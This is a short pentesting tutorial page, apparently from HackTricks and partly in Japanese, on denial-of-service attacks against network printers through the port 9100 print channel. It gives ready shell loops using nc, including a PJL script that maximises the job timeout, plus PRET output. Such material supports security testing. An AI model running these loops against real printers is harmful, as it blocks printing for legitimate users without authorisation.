hacktricks/network-services-pentesting/pentesting-printers/transmission-channel.md
2023-07-07 23:42:27 +00:00

5.3 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

If print jobs are processed in series which is assumed for most devices only one job can be handled at a time. If this job does not terminate the printing channel effectively is blocked until a timeout is triggered, preventing legitimate users from printing.

Basic DoS:

while true; do nc printer 9100; done

この簡単なサービス拒否攻撃は、PJLで高いタイムアウト値を設定することで改善できます。これにより、攻撃者が行う接続の数が最小限に抑えられ、合法的なユーザーが空きスロットを利用するのがさらに困難になります。

# get maximum timeout value with PJL
MAX="`echo "@PJL INFO VARIABLES" | nc -w3 printer 9100 |\
grep -E -A2 '^TIMEOUT=' | tail -n1 | awk '{print $1}'`"
# connect and set maximum timeout for current job with PJL
while true; do echo "@PJL SET TIMEOUT=$MAX" | nc printer 9100; done

PRETを使用して、タイムアウト設定を見つけることができます。

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> env timeout
TIMEOUT=15 [2 RANGE]
5
300

PJLリファレンスでは最大タイムアウトが300秒と指定されていますが、実際には最大PJLタイムアウトは15秒から2147483秒までの範囲になる場合があります。
IPPやLPDなどの他の印刷チャネルから受信した印刷ジョブも、接続が維持されている限りは処理されなくなります。

この攻撃について詳しくはhttp://hacking-printers.net/wiki/index.php/Transmission_channelを参照してください。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥